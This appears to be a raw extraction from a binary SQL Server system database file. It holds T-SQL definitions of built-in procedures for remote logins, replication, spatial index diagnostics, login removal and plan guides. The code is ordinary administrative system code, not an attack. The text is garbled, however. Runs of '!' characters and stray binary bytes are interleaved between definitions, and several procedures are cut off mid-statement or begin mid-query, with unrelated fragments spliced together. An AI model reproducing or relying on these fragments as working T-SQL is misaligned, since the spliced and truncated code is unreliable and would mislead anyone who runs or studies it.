		raiserror(15204,-1,-1,@remotename,@remoteserver)
		return (1)
	end

--  select the information.
select server = substring(s.srvname, 1, 22),
	local_user_name =
		substring(isnull(suser_sname(r.sid), '** use local name **'), 1, 22),
	remote_user_name =
		substring(isnull(r.remoteusername, '** mapped locally **'), 1, 22),
	options = case 
				when datalength(v.name) is null then ''
				when datalength(v.name) = 0 then ''
				else substring(v.name, 1, 9)
			  end
		from master.dbo.sysservers s, master.dbo.sysremotelogins r,
			master.dbo.spt_values v
	where s.srvid = r.remoteserverid
		and (@remoteserver is null or s.srvname = @remoteserver)
		and (@remotename is null or isnull(r.remoteusername, ' ') = @remotename)
		and v.type = 'F'
		and v.number = r.status
order by server, remote_user_name

return (0) -- sp_helpremotelogin
0a_@ 8create procedure sys.sp_remoteoption
	@remoteserver	sysname,			-- server name to change
	@loginame		sysname = NULL,		-- user's local user name
	@remotename		sysname = NULL,		-- user's remote name
	@optname		varchar(35) = NULL,	-- option name to turn on/off
	@optvalue		varchar(10) = NULL	-- true or false
as
	raiserror(15207,0,-1)
	return (0)
0nb 8--
-- Name: fn_convertnumericlsntobinary10
--
-- Description: This function converts a numeric(25,0) LSN retrieved
--              from "restore headeronly" to its corresponding 
--              representation in binary(10).
--
-- Parameter: @numericlsn numeric(25,0)
--
-- Example: select sys.fn_convertnumericlsntobinary10(4026531840402653184061440)
--              will return
--          0xF0000000F0000000F000
--
-- Security: This is a public interface object.
--
create function sys.fn_convertnumericlsntobinary10(
    @numericlsn numeric(25,0)
    ) returns binary(10)
as
begin
    -- Declare components to be one step larger than the intended type
    -- to avoid sign overflow problems. e.g. convert(smallint, 
    -- convert(numeric(25,0),65535)) will fail but convert(binary(2), 
    -- convert(int,convert(numeric(25,0),65535))) will give the 
    -- intended result of 0xffff.
    declare @high4bytelsncomponent bigint,
            @mid4bytelsncomponent bigint,
            @low2bytelsncomponent int

    select @high4bytelsncomponent = convert(bigint, floor(@numericlsn / 1000000000000000))
    select @numericlsn = @numericlsn - convert(numeric(25,0), @high4bytelsncomponent) * 1000000000000000
    select @mid4bytelsncomponent = convert(bigint,floor(@numericlsn / 100000))
    select @numericlsn = @numericlsn - convert(numeric(25,0), @mid4bytelsncomponent) * 100000
    select @low2bytelsncomponent = convert(int, @numericlsn)

    return convert(binary(4), @high4bytelsncomponent) +
           convert(binary(4), @mid4bytelsncomponent) +
           convert(binary(2), @low2bytelsncomponent)
end
0.n v
8create procedure sys.sp_getpublisherlink 
(
    @trigger_id int
    ,@connect_string nvarchar(300) output
    ,@islocalpublisher bit output -- 1 = local, 0 = remote
)
AS
BEGIN
    SET NOCOUNT ON
    declare @publisher sysname
                ,@publisher_db sysname
                ,@linkname sysname
                ,@security_mode int
                ,@retcode int

    --
    -- Make sure this proc is called from the trigger.
    -- Better to use object_id if owner name is passed in.
    --
    if trigger_nestlevel(@trigger_id) = 0
    begin
        raiserror(14126, 16, -1)
        return (1) -- current user does not have insert permission to underlying table
    end
    --
    -- Get the security information
    --
    IF object_id('MSsubscription_properties', 'U') is not NULL
    begin
        --
        -- MSsubscription_properties exists
        -- Check for the subscription
        --
        select @linkname = case when (p.publisher_security_mode in (0,1)) 
                            then sys.fn_MSrepllinkname(N'REPLLINK', upper(o.publisher), o.publisher_db, o.publication, db_name())
                            else p.publisherlink end
                ,@security_mode = case when (p.publisher_security_mode not between 0 and 2) then null else cast(p.publisher_security_mode as tinyint) end
                ,@publisher = upper(o.publisher)
                ,@publisher_db = o.publisher_db
        from MSsubscription_properties p join MSreplication_objects o
            on UPPER(p.publisher) = UPPER(o.publisher) 
                and p.publisher_db = o.publisher_db
                and p.publication = o.publication
                and o.object_name = object_name(@trigger_id) 
        select @islocalpublisher = case when (@publisher = upper(publishingservername())) then 1 else 0 end
        if (@security_mode is null)
        begin
            --
            -- entry for the subscription does not exist
            -- or, sp_link_publication has not been called
            --
            raiserror(21079, 16, 1)
            return(1)
        end
    end
    else
    begin
        --
        -- MSsubscription_properties does not exist
        --
        raiserror(21079, 16, 3)
        return(1)
    end
    --
    -- if we have come this far - the subscription exists
    --
    select @connect_string = case when (@islocalpublisher = 1) 
                    then quotename(@publisher_db)
                    else quotename(@linkname) + N'.' + quotename(@publisher_db)
                    end
    --
    -- all done
    --
    return 0
END
      (@constr_catalog is null or @constr_catalog  = my_result.CONSTRAINT_CATALOG) and
        (@constr_schema  is null or @constr_schema  = my_result.CONSTRAINT_SCHEMA) and
        (@constr_name  is null or @constr_name  = my_result.CONSTRAINT_NAME)

    order by 1, 2, 3, 4, 5, 6, 7, 8, 9
0V 8
create view sys.spt_xml_schema_view
as
    select
    -- begin (for doing joins)
        schema_id                       = xsc.schema_id,
        xml_collection_id               = xsc.xml_collection_id,
    -- end (for doing joins)
        SCHEMACOLLECTION_CATALOGNAME    = db_name(),
        SCHEMACOLLECTION_SCHEMANAME     = schema_name(xsc.schema_id),
        SCHEMACOLLECTIONNAME            = xsc.name,
        TARGETNAMESPACEURI              = convert(sysname, xn.name),
        SCHEMACONTENT                   = convert(nvarchar(max),
                                                  xml_schema_namespace(schema_name(xsc.schema_id), xsc.name, convert(sysname, xn.name)))
    from
        sys.xml_schema_collections xsc inner join
        sys.xml_schema_namespaces xn on
            (
                xsc.xml_collection_id = xn.xml_collection_id
            )
	`	
<<9U00G 8CREATE FUNCTION sys.dm_logpool_sharedcachebuffers
	(
	@DatabaseId Int
	)
RETURNS TABLE
as
	RETURN SELECT * FROM OpenRowset(TABLE DM_LOGPOOL_SHAREDCACHEBUFFERS, @DatabaseId)
0[o@ 8create procedure sys.sp_MSlevelchanges @gen bigint, @art_nick int, @leveling_threshold int, @nickbin varbinary(255), @replnick binary(6), @level_deletes_only bit = 0, @force_leveling bit = 0 output as
begin
    declare @num_changes_total int
    , @cur_contents_nickname int
    , @cur_tombstone_nickname int
    , @cur_change_count int
    , @newgen bigint
    , @genguid uniqueidentifier
    , @dt datetime
    , @making_tombstone_progress bit
    , @making_contents_progress bit
    , @retcode int
    , @changecount int
    , @remaining_count int
    , @running_total int
    
    if @leveling_threshold is null
        select @leveling_threshold = 1000    -- Default is 1000. We don't have to be accurate about this threshold, so counting changes 
                                            -- with nolock should be okay.
    else if @leveling_threshold = 0
        return 0                            -- No need to do any leveling. Gens can be of infinite size.
    else if @leveling_threshold < 0
        return 0

    if @level_deletes_only  = 0
    begin
        select @num_changes_total = (select count(*) from dbo.MSmerge_contents with (nolock) where generation = @gen)
                                + (select count(*) from dbo.MSmerge_tombstone with (nolock) where generation = @gen)
    end
    else
    begin
        select @num_changes_total = (select count(*) from dbo.MSmerge_tombstone with (nolock) where generation = @gen)
    end
        
    if @num_changes_total <= @leveling_threshold and @force_leveling = 0
        return 0
        
    set @making_tombstone_progress = 1
    if @level_deletes_only = 0
        set @making_contents_progress = 1
    else
        set @making_contents_progress = 0
    set @running_total = 0
    set @cur_change_count = 0
    
    while @making_tombstone_progress = 1 or @making_contents_progress = 1
    begin
    
        select @running_total = @running_total + @cur_change_count
        
        select @genguid = newid(), @dt = getdate()
    
        insert into dbo.MSmerge_genhistory with (rowlock)
            (guidsrc, genstatus, art_nick, nicknames, coldate) 
            values (@genguid, 0, @art_nick, @nickbin, @dt)
        if (@@error <> 0)
        begin
            return 1
        end    
        select @newgen = @@identity
        
        select @cur_change_count = 0
    
        -- the threshold is just a guideline, not something we have to follow accurately at all costs.
        while @cur_change_count < @leveling_threshold and @making_tombstone_progress = 1
        begin
            set @cur_tombstone_nickname = NULL
            set @making_tombstone_progress = 0
            
            -- let us level the tombstones first, so that they get the lower generations.    
            if isnull(@art_nick, 0) = 0
            begin
                select top 1 @cur_tombstone_nickname = mt.tablenick 
                from dbo.MSmerge_tombstone mt with (nolock), dbo.sysmergearticles sma
                where mt.generation = @gen
                and mt.tablenick = sma.nickname
                order by sma.processing_order desc, sma.nickname desc
            end
            else
            begin
                select top 1 @cur_tombstone_nickname = mt.tablenick 
                from dbo.MSmerge_tombstone mt with (nolock)
                where mt.generation = @gen
                and mt.tablenick = @art_nick
            end
            
            if @cur_tombstone_nickname is null
                break
                
            select @remaining_count = @leveling_threshold - @cur_change_count
                
            update top (@remaining_count) dbo.MSmerge_tombstone set generation = @newgen 
            where generation = @gen and tablenick = @cur_tombstone_nickname
            
            select @cur_change_count = @@rowcount + @cur_change_count
            
            update ppm set generation = @newgen 
            from dbo.MSmerge_past_partition_mappings ppm inner join dbo.MSmerge_tombstone ts
            on ppm.tablenick = ts.tablenick
            and ppm.rowguid = ts.rowguid
            and ts.generation = @newgen
            and ppm.generation = @gen
            and ppm.tablenick = @cur_tombstone_nickname
            and ts.tablenick = @cur_tombstone_nickname
                        
            set @making_tombstone_progress = 1
        end
        
        while @cur_change_count < @leveling_threshold and @making_contents_progress = 1 
                                                                and @making_tombstone_progress = 0
                                                                and @level_deletes_only = 0
        begin
            set @cur_contents_nickname = NULL
            set @making_contents_progress = 0
            
            -- now let us level the contents rows.    
            if isnull(@art_nick, 0) = 0
            begin
                select top 1 @cur_contents_nickname = mc.tablenick 
                from dbo.MSmerge_contents mc with (nolock), dbo.sysmergearticles sma
                where mc.generation = @gen
                and mc.tablenick = sma.nickname
                order by sma.processing_order, sma.nickname
            end
            else
            begin
                select top 1 @cur_contents_nickname = mc.tablenick 
                from dbo.MSmerge_contents mc with (nolock)
                where mc.generation = @gen
                and mc.tablenick = @art_nick
            end
            
            if @cur_contents_nickname is null
                break
                
            select @remaining_count = @leveling_threshold - @cur_change_count
                
            update top (@remaining_count) dbo.MSmerge_contents set generation = @newgen 
            where generation = @gen and tablenick = @cur_contents_nickname
            
            select @cur_change_count = @@rowcount + @cur_change_count
            
            set @making_contents_progress = 1
        end
        if @cur_change_count = 0
        begin
            delete from dbo.MSmerge_genhistory with (rowlock) where generation = @newgen
        end
        else
        begin
            select @force_leveling = 1 -- from now on all subsequent generations will be forced to level to
                                        -- minimize DRI violations.
            exec @retcode = sys.sp_MSclosegeneration @newgen, @art_nick, @genguid, @replnick
            if @retcode <> 0 or @@error <> 0
            begin
                return 1
            end
        end            
    end        
    
    return 0
end
nt_id)
        end catch
        --
        -- update this entry
        --
        update dbo.MSdistribution_agents 
        set queue_server = NULL, queue_id = N'mssqlqueue' 
        where id = @agent_id
        --
        -- update MSsubscriptions entries for subscriptions serviced by this agent
        --
        update dbo.MSsubscriptions 
        set update_mode = case 
                when (update_mode = 2) then 4 
                when (update_mode = 3) then 5
                when (update_mode = 7) then 6
                else update_mode end
        where agent_id = @agent_id
        --
        -- get next entry
        --
        fetch #hcdistagents into @agent_id, @queue_server, @queue_id
    end
    close #hcdistagents
    deallocate #hcdistagents

    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z44`9<a	E
u0 8CREATE PROC sys.sp_help_spatial_geometry_index_helper
(
	@tabname		NVARCHAR(776),		-- the TABLE to check for indexes
	@indexname		SYSNAME,		-- the INDEX name
	@outputxml		TINYINT,		-- OUTPUT report in XML form rather than AS a rowset
	@xml_output		XML OUTPUT,		-- XML variable to OUTPUT
	@verboseoutput	TINYINT,		-- OUTPUT all properties
	@window			geometry		-- query window object
)
AS
BEGIN
	SET NOCOUNT ON
	SET ARITHIGNORE ON
	SET ARITHABORT OFF
	SET ANSI_WARNINGS OFF

	DECLARE @objid			INT,	-- the object id of the TABLE
			@indid			INT,	-- the INDEX id of an INDEX
			@tess_scheme	INT,	-- Index Extension Scheme ID
			@groupid		INT,	-- the filegroup id of an INDEX
			@internaltab_id INT,	-- internal TABLE id
			@dbname			SYSNAME,-- the dbname
			@minx			FLOAT,	-- minx
			@miny			FLOAT,	-- miny
			@maxx			FLOAT,	-- maxx
			@maxy			FLOAT,	-- maxy
			@gridsize1		INT,	-- level1 cells
			@gridsize2		INT,	-- level2 cells
			@gridsize3		INT,	-- level3 cells
			@gridsize4		INT,	-- level4 cells
			@cells_per_object INT,	-- cells per object
			@results_card	BIGINT,	-- number of rows selected by the secondary filter
			@index_total_pages BIGINT,	-- total pages used by the INDEX
			@base_table_rows BIGINT,	-- total number of rows in the basetable
			@execstr		NVARCHAR(2000), -- for execution stuff
			@param_def NVARCHAR(500),  -- param def
			@colname	SYSNAME,	-- column name
			@internaltabname	SYSNAME, -- the internal TABLE used by the INDEX
			@quoted_table_name nvarchar(900);
			
	-- Check to see that the object names are local to the current database.
	SELECT @dbname = parsename(@tabname,3)
	IF @dbname is null
		SELECT @dbname = db_name()
	ELSE IF @dbname <> db_name()
		BEGIN
			raiserror(15250,-1,-1)
			return (1)
		END

	-- Check to see the the TABLE exists and initialize @objid.
	SELECT @objid = object_id(@tabname)
	IF @objid is NULL
	BEGIN
		raiserror(15009,-1,-1,@tabname,@dbname)
		return (1)
	END

	-- Locate the spatal INDEX
	SELECT @indid=index_id, @tess_scheme=spatial_index_type FROM sys.spatial_indexes WHERE name = @indexname and object_id = @objid and (spatial_index_type = 1 or spatial_index_type = 3)
	IF @indid is NULL
	BEGIN
		raiserror(15009,-1,-1,@indexname,@dbname)
		return (1)
	END

	set @quoted_table_name = QUOTENAME(@dbname, N']') 
		+ N'.' 
		+ QUOTENAME(OBJECT_SCHEMA_NAME(@objid), N']') 
		+ N'.' 
		+ QUOTENAME(OBJECT_NAME(@objid), N']');

	-- figure out the grid sizes
	SELECT @minx = bounding_box_xmin, 
			@miny = bounding_box_ymin, 
			@maxx = bounding_box_xmax,
			@maxy = bounding_box_ymax,  
			@cells_per_object = cells_per_object,
			@gridsize1 = level_1_grid, 
			@gridsize2 = level_2_grid, 
			@gridsize3 = level_3_grid, 
			@gridsize4 = level_4_grid 
	FROM sys.spatial_index_tessellations WHERE 
		object_id = @objid and index_id = @indid;

	-- obtain the internal TABLE name
	SELECT @internaltabname = 'sys.' + name from sys.internal_tables where
		parent_object_id = @objid
		AND parent_minor_id = @indid

	-- also find the internal object id
	SELECT @internaltab_id=object_id FROM sys.internal_tables 
		WHERE parent_id = @objid and parent_minor_id = @indid;

	SELECT @colname = c.name FROM sys.columns c,  sys.index_columns ic 
	WHERE ic.index_id = @indid and ic.object_id = @objid and c.column_id = ic.column_id and 
	ic.object_id = c.object_id
	
	-- compute total rows and pages used by the INDEX and the number of rows in the basetable
	SELECT  @index_total_pages = sum(used_page_count) 
		FROM sys.dm_db_partition_stats 
		WHERE object_id = @internaltab_id;

	SELECT  @base_table_rows = sum(row_count)
		FROM sys.dm_db_partition_stats 
		WHERE object_id = @objid AND index_id = 1;

	SET @execstr = N'SELECT @results_card=count(*) FROM ' + 
		@quoted_table_name + 
		N' t WITH(INDEX='+
		QUOTENAME(@indexname, N']')+
		+ ') WHERE t.' + QUOTENAME(@colname, N']') + '.STIntersects(@window)=1';

	SET @param_def = '@window geometry, @results_card BIGINT OUTPUT';
	EXEC sp_executesql @execstr, @param_def, @window, @results_card OUTPUT;

	-- tesellate the query window object now.

	IF (@tess_scheme = 1)
	BEGIN
		DECLARE @gridtranslater TABLE(gridsize INT, gridcode INT);

		INSERT INTO @gridtranslater values (16, 2)
		INSERT INTO @gridtranslater values (64, 3)
		INSERT INTO @gridtranslater values (256, 4)

		DECLARE @gridcode1		INT,	-- level1 grid code
			@gridcode2		INT,	-- level2 grid code 
			@gridcode3		INT,	-- level3 grid code 
			@gridcode4		INT;	-- level4 grid code  

		SELECT @gridcode1 =  gridcode FROM @gridtranslater WHERE gridsize = @gridsize1
		SELECT @gridcode2 =  gridcode FROM @gridtranslater WHERE gridsize = @gridsize2
		SELECT @gridcode3 =  gridcode FROM @gridtranslater WHERE gridsize = @gridsize3
		SELECT @gridcode4 =  gridcode FROM @gridtranslater WHERE gridsize = @gridsize4

		CREATE TABLE #temp_window_object_tessellation(cell_id BINARY(5), cell_attributes INT, srid INT);

		INSERT INTO #temp_window_object_tessellation 
		SELECT * FROM Sys.GetPlanarGeometryTessellation_VarBinary(@window, 
			@minx, @miny, @maxx, @maxy, 
			@gridcode1, @gridcode2, @gridcode3, @gridcode4, 
			@cells_per_object, 1, NULL);

		EXEC sys.sp_help_spatial_index_internal
			@minx, @miny, @maxx, @maxy,
			@gridsize1, @gridsize2, @gridsize3, @gridsize4,
			@cells_per_object,
			@base_table_rows,
			@index_total_pages,
			@results_card,
			@internaltabname,
			@outputxml,
			@xml_output OUTPUT,
			@verboseoutput;

		DROP TABLE #temp_window_object_tessellation;
	END
	ELSE
	BEGIN
		-- distinct SRIDs
		DECLARE @distinct_srids BIGINT;
		SET @execstr = N'SELECT @distinct_srids=count(distinct ' + QUOTENAME(@colname, N']') + '.STSrid) FROM ' + @quoted_table_name;
		SET @param_def = '@distinct_srids BIGINT OUTPUT';
		EXEC sp_executesql @execstr, @param_def, @distinct_srids OUTPUT;

		CREATE TABLE #temp_window_object_tessellation_auto(id BINARY(5), attr TINYINT, limitid BINARY(5))

		INSERT INTO #temp_window_object_tessellation_auto
		SELECT id, attr, limitid FROM Sys.PlanarTessellation(@window, @minx, @miny, @maxx, @maxy, @cells_per_object, 9, 1, NULL)

		EXEC sys.sp_help_spatial_index_internal_auto
			@minx, @miny, @maxx, @maxy,
			@cells_per_object,
			@base_table_rows,
			@index_total_pages,
			@results_card,
			@internaltabname,
			@outputxml,
			@xml_output OUTPUT,
			@verboseoutput,
			@distinct_srids

		DROP TABLE #temp_window_object_tessellation_auto
	END
END
0 N8create function sys.fn_convert_to_seconds(
    @number_of_units int,
    @unit_of_time tinyint
) returns int
as
begin
    declare @seconds int
    
    select @seconds = 
        case    when @unit_of_time = 0
                    then @number_of_units * 24 * 3600
                when @unit_of_time = 1
                    then @number_of_units * 7 * 24 * 3600
                when @unit_of_time = 2
                    then @number_of_units * 30 * 24 * 3600
                when @unit_of_time = 3
                    then @number_of_units * 365 * 24 * 3600
                when @unit_of_time = 4
                    then @number_of_units * 3600
                when @unit_of_time = 5
                    then @number_of_units * 60
        end
                    
    return @seconds
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<8^
h2L0? f8create procedure sys.sp_droplogin
	@loginame sysname
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @exec_stmt nvarchar(4000)
	declare @ret int

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	IF (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_droplogin')
		return (1)
	end

    -- VALIDATE LOGIN NAME:
	execute @ret = sys.sp_validname @loginame
	if (@ret <> 0)
        return (1)

	-- CHECK IT'S A SQL LOGIN --
	if (not exists (select * from master.dbo.syslogins where
					loginname = @loginame and isntname = 0))
	begin
		raiserror(15007,-1,-1,@loginame)
		return(1)
	end

	set @exec_stmt = 'drop login ' + quotename(@loginame)

	exec (@exec_stmt)	

	if @@error <> 0
		return (1)

    -- SUCCESS MESSAGE --
	return (0)	-- sp_droplogin
0@ `8
create procedure sys.sp_create_plan_guide_from_handle
	@name sysname,
	@plan_handle varbinary(64),
	@statement_start_offset int = NULL
as
BEGIN TRANSACTION

EXEC %%PlanGuide(Name = @name).CreateAndFireTriggerFromCache(Value = @name, Value = @plan_handle, Value = @statement_start_offset)

COMMIT TRANSACTION
09 88CREATE PROC sys.sp_help_spatial_geography_index_helper
(
	@tabname		NVARCHAR(776),		-- the TABLE to check for indexes
	@indexname		SYSNAME,		-- the INDEX name
	@outputxml		TINYINT,		-- OUTPUT report in XML form rather than AS a rowset
	@xml_output		XML OUTPUT,		-- XML variable to OUTPUT
	@verboseoutput		TINYINT,		-- OUTPUT all properties
	@window			geography		-- query window object
)
AS
BEGIN
	SET NOCOUNT ON
	SET ARITHIGNORE ON
	SET ARITHABORT OFF
	SET ANSI_WARNINGS OFF

	DECLARE @objid			INT,	-- the object id of the TABLE
			@indid			INT,	-- the INDEX id of an INDEX
			@tess_scheme	INT,	-- Index Extension Scheme ID
			@groupid		INT,	-- the filegroup id of an INDEX
			@internaltab_id INT,	-- internal TABLE id
			@dbname			SYSNAME,-- the dbname
			@minx			INT,	-- minx
			@miny			INT,	-- miny
			@maxx			INT,	-- maxx
			@maxy			INT,	-- maxy
			@gridsize1		INT,	-- level1 cells
			@gridsize2		INT,	-- level2 cells
			@gridsize3		INT,	-- level3 cells
			@gridsize4		INT,	-- level4 cells
			@cells_per_object INT,	-- cells per object
			@results_card	BIGINT,	-- number of rows selected by the secondary filter
			@index_total_pages BIGINT,	-- total pages used by the INDEX
			@base_table_rows BIGINT,	-- total number of rows in the basetable
			@execstr		NVARCHAR(2000), -- for execution stuff
			@param_def NVARCHAR(500),  -- param def
			@colname	SYSNAME,	-- column name
			@internaltabname	SYSNAME, -- the internal TABLE used by the INDEX
			@quoted_table_name nvarchar(900);
			
	-- Check to see that the object names are local to the current database.
	SELECT @dbname = parsename(@tabname,3)
	IF @dbname is null
		SELECT @dbname = db_name()
	ELSE IF @dbname <> db_name()
		BEGIN
			raiserror(15250,-1,-1)
			return (1)
		END

	-- Check to see the the TABLE exists and initialize @objid.
	SELECT @objid = object_id(@tabname)
	IF @objid is NULL
	BEGIN
		raiserror(15009,-1,-1,@tabname,@dbname)
		return (1)
	END

	-- Locate the spatal INDEX
	SELECT @indid=index_id, @tess_scheme=spatial_index_type FROM sys.spatial_indexes
	WHERE name = @indexname and object_id = @objid and (spatial_index_type = 2 or spatial_index_type = 4)
	IF @indid is NULL
	BEGIN
		raiserror(15009,-1,-1,@indexname,@dbname)
		return (1)
	END

	set @quoted_table_name = QUOTENAME(@dbname, N']') 
		+ N'.' 
		+ QUOTENAME(OBJECT_SCHEMA_NAME(@objid), N']') 
		+ N'.' 
		+ QUOTENAME(OBJECT_NAME(@objid), N']');

	-- figure out the grid sizes
	SELECT @minx = -180, 
			@miny = -90, 
			@maxx = 180,
			@maxy = 90,  
			@cells_per_object = cells_per_object,
			@gridsize1 = level_1_grid, 
			@gridsize2 = level_2_grid, 
			@gridsize3 = level_3_grid, 
			@gridsize4 = level_4_grid 
	FROM sys.spatial_index_tessellations WHERE 
		object_id = @objid and index_id = @indid;

	-- obtain the internal TABLE name
	SELECT @internaltabname = 'sys.' + name from sys.internal_tables where
		parent_object_id = @objid
		AND parent_minor_id = @indid


	-- also find the internal object id
	SELECT @internaltab_id=object_id FROM sys.internal_tables 
		WHERE parent_id = @objid and parent_minor_id = @indid;

	SELECT @colname = c.name FROM sys.columns c,  sys.index_columns ic 
	WHERE ic.index_id = @indid and ic.object_id = @objid and c.column_id = ic.column_id and 
	ic.object_id = c.object_id
	
	-- compute total rows and pages used by the INDEX and the number of rows in the basetable
	SELECT  @index_total_pages = sum(used_page_count) 
		FROM sys.dm_db_partition_stats 
		WHERE object_id = @internaltab_id;

	SELECT  @base_table_rows = sum(row_count)
		FROM sys.dm_db_partition_stats 
		WHERE object_id = @objid AND index_id = 1;

	SET @execstr = N'SELECT @results_card=count(*) FROM ' + 
		@quoted_table_name + 
		N' t WITH(INDEX='+
		QUOTENAME(@indexname, N']')+
		+ ') WHERE t.' + QUOTENAME(@colname, N']') + '.STIntersects(@window)=1';

	SET @param_def = '@window geography, @results_card BIGINT OUTPUT';
	EXEC sp_executesql @execstr, @param_def, @window, @results_card OUTPUT;

	-- tesellate the query window object now.

	IF (@tess_scheme = 2)
	BEGIN
		DECLARE @gridtranslater TABLE(gridsize INT, gridcode INT);

		INSERT INTO @gridtranslater values (16, 2)
		INSERT INTO @gridtranslater values (64, 3)
		INSERT INTO @gridtranslater values (256, 4)

		DECLARE @gridcode1		INT,	-- level1 grid code
			@gridcode2		INT,	-- level2 grid code 
			@gridcode3		INT,	-- level3 grid code 
			@gridcode4		INT;	-- level4 grid code  

		SELECT @gridcode1 =  gridcode FROM @gridtranslater WHERE gridsize = @gridsize1
		SELECT @gridcode2 =  gridcode FROM @gridtranslater WHERE gridsize = @gridsize2
		SELECT @gridcode3 =  gridcode FROM @gridtranslater WHERE gridsize = @gridsize3
		SELECT @gridcode4 =  gridcode FROM @gridtranslater WHERE gridsize = @gridsize4

		CREATE TABLE #temp_window_object_tessellation(cell_id BINARY(5), cell_attributes INT, srid INT);

		INSERT INTO #temp_window_object_tessellation
		SELECT * FROM Sys.GetGeographyTessellation_VarBinary(@window, 
		@gridcode1, @gridcode2, @gridcode3, @gridcode4, 
		@cells_per_object, 1, NULL);

		EXEC sys.sp_help_spatial_index_internal
			@minx, @miny, @maxx, @maxy,
			@gridsize1, @gridsize2, @gridsize3, @gridsize4,
			@cells_per_object,
			@base_table_rows,
			@index_total_pages,
			@results_card,
			@internaltabname,
			@outputxml,
			@xml_output OUTPUT,
			@verboseoutput;

		DROP TABLE #temp_window_object_tessellation;
	END
	ELSE
	BEGIN
		-- distinct SRIDs
		DECLARE @distinct_srids BIGINT;
		SET @execstr = N'SELECT @distinct_srids=COUNT(DISTINCT ' + QUOTENAME(@colname, N']') + '.STSrid) FROM ' + @quoted_table_name;
		SET @param_def = '@distinct_srids BIGINT OUTPUT';
		EXEC sp_executesql @execstr, @param_def, @distinct_srids OUTPUT;

		CREATE TABLE #temp_window_object_tessellation_auto(id BINARY(5), attr TINYINT, limitid BINARY(5))

		INSERT INTO #temp_window_object_tessellation_auto
		SELECT id, attr, limitid FROM Sys.GeodeticTessellation(@window, @cells_per_object, 9, 1, NULL)

		EXEC sys.sp_help_spatial_index_internal_auto
			@minx, @miny, @maxx, @maxy,
			@cells_per_object,
			@base_table_rows,
			@index_total_pages,
			@results_card,
			@internaltabname,
			@outputxml,
			@xml_output OUTPUT,
			@verboseoutput,
			@distinct_srids

		DROP TABLE #temp_window_object_tessellation_auto
	END
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&`y<[#B0 8CREATE FUNCTION sys.dm_exec_cursors (@spid int)
RETURNS table
AS
	RETURN SELECT *
	FROM OpenRowSet(TABLE DM_EXEC_CURSORS, @spid)
0YN Q
8
create procedure sys.sp_table_constraints_rowset
(
    @table_name         sysname,
    @table_schema       sysname = null,
    @table_catalog      sysname = null,
    @constraint_name    sysname = null,
    @constraint_schema  sysname = null,
    @constraint_catalog sysname = null,
    @constraint_type    nvarchar(255) = null
)
as
    select
        CONSTRAINT_CATALOG  = db_name(),
        CONSTRAINT_SCHEMA   = schema_name(o.schema_id),
        CONSTRAINT_NAME     = o.name,
        TABLE_CATALOG       = db_name(),
        TABLE_SCHEMA        = schema_name(t_obj.schema_id),
        TABLE_NAME          = t_obj.name,
--        CONSTRAINT_TYPE     = case (syscon.status & 0xf)
        CONSTRAINT_TYPE     = case syscon.type
--                                when 1 then N'PRIMARY KEY'
                                when 'PK' then N'PRIMARY KEY'
--                                when 2 then N'UNIQUE'
                                when 'UQ' then N'UNIQUE'
--                                when 3 then N'FOREIGN KEY'
                                when 'F' then N'FOREIGN KEY'
--                                when 4 then N'CHECK'
                                when 'C' then N'CHECK'
                                else null
                              end,
        IS_DEFERRABLE       = convert(bit, 0),
        INITIALLY_DEFERRED  = convert(bit, 0),
        DESCRIPTION         = convert(nvarchar(1), null)

    from
        sys.all_objects o,
        sys.all_objects t_obj,
--        sysconstraints syscon
        sys.all_objects syscon
    where
        t_obj.name  = @table_name and
        t_obj.type in ('U','S') and
        (@table_catalog is null or @table_catalog = db_name()) and
        (@table_schema is null or @table_schema = schema_name(t_obj.schema_id)) and
        syscon.parent_object_id = t_obj.object_id and
        (syscon.type in ('PK', 'UQ', 'F', 'C')) and
        o.object_id    = syscon.object_id and
        o.schema_id = schema_id() and
